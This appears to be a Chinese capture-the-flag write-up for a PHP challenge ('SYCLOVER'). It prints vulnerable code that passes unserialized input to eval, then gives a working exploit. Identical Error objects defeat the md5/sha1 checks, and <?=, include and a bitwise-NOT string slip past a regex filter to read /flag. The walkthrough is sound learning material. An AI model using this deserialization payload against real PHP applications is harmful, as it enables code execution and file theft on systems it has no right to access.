题目
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
解题思路
看到MD5和SHA1,一开始以为是很简单的题目,第一反应就是数组绕过,BUT!看到下面的正则匹配我就知道事情没有那么简单!
往下看,果然正则判断是否带有<?php 或者 () 或者 单引号 和 双引号,如果没有的话才可以eval执行。
那么数组显然是行不通了,于是另一个思路随即浮出水面。
Error原生类,按照逻辑来说,既然是CTF题,那么解法有且只有这一个了。
于是咱们再温习一下Error原生类。
Error原生类
Error/Exception内置类 ,这两个类的使用方法是一模一样的,只是类名不同而已。
使用条件:
- 适用于php7版本
- 在开启报错的情况下(这个默认都是开启的)
利用手段:
- XSS攻击
- HASH绕过
HASH绕过原理
XSS攻击的利用也非常简单,不过和咱们今天的题目没啥关系,这里就不记录了。
在Error和Exception这两个PHP原生类中有 __toString 方法,这个方法用于将异常或错误对象转换为字符串
举个例子,咱们直接输出一下看看是啥样的!
从上图我们可以看到,会以字符串的形式输出当前的错误信息,包含当前的错误信息("payload")还有当前报错的行号("2")
那么重点来了,这个当前行号是我们可以利用的,如果两个同样的类在同一行,那么它的返回值一定是一样的,只要咱们传递的第二个参数不同的话,就可以实现绕过了。
于是我们可以这样:
$a = new Error("null", 1);$b = new Error("null", 2);
echo $a."<br>".$b;
咱们看一下返回结果
我们可以看出,返回结果是一模一样的,于是我们就把HASH绕过那一段给解出来了。
正则绕过
接下来我们要面临的问题是正则那一段怎么绕过呢?
屏蔽了 <?php 我们可以使用 <?= 来代替
屏蔽了 () 等于不能使用函数,我们可以使用include来包含flag文件,毕竟CTF出题,FLAG的位置基本上都在 /flag 或者 ./flag.php 这两个位置吧,可以尝试一下
屏蔽了引号,我们可以使用取反来操作,于是我们开始构造。
取反脚本
<?php
$a = '/flag';
echo "(~";
for ($i = 0; $i < strlen($a); $i++){
echo "%".bin2hex(~$a[$i]);
}
echo ")";
# 生成结果为 (~%d0%99%93%9e%98)
开始解题
$shell = "?><?=include ~".urldecode("%d0%99%93%9e%98")."?>";
$a = new Error($shell, 1);$b=new Error($shell, 2); // 这里一定要在同一行
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c)); // Error里面有非pulic属性,所以这里我们要urlencode一下
解题视频
这里主要为了测试视频存储的问题,这个视频没啥营养,就是按照上面的思路解出来的步骤!
评论 (0)